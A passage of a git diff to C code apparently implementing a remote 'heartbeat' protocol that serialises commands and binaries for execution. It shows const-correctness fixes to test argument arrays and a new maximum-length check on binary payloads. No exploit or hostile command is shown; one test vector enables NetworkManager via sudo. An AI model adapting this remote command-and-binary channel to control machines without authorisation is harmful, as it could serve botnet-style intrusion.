"\x00\x2Bsudo\0systemctl\0enable\0--now\0NetworkManager"; - static char *empty_args[] = { + static const char *empty_args[] = { NULL }; - static char *long_args[] = { + static const char *long_args[] = { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", @@ -69,7 +69,7 @@ static void test_ser (void) { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL }; - static char *too_long_args[] = { + static const char *too_long_args[] = { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", @@ -88,7 +88,7 @@ static void test_ser (void) { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL }; - static char *long_mem_args[] = { + static const char *long_mem_args[] = { "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", @@ -122,7 +122,7 @@ static void test_ser (void) { "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123456", NULL }; - static char *too_long_mem_args[] = { + static const char *too_long_mem_args[] = { "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", diff --git a/src/protocol.c b/src/protocol.c index 6598ad8..cc1fc0d 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -396,7 +396,7 @@ ERR: return false; } -bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args) { +bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args) { size_t *args_len = NULL; size_t i, argc; bool ret = true; @@ -698,6 +698,10 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta ( { *actual = in->cmd.mem_len + 5; + if (in->bin_size > PRNE_HTBT_BIN_LEN_MAX) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + if (mem_len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } diff --git a/src/protocol.h b/src/protocol.h index ba5bcb6..24f4fa3 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -303,6 +303,7 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( #define PRNE_HTBT_ARGS_MAX 255 #define PRNE_HTBT_ARG_MEM_MAX 1023 #define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF +#define PRNE_HTBT_BIN_LEN_MAX 0xFFFFFF /* PRNE_HTBT_PROTO_MIN_BUF * @@ -383,7 +384,7 @@ bool prne_htbt_alloc_cmd ( prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len); -bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args); +bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args); void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); -- cgit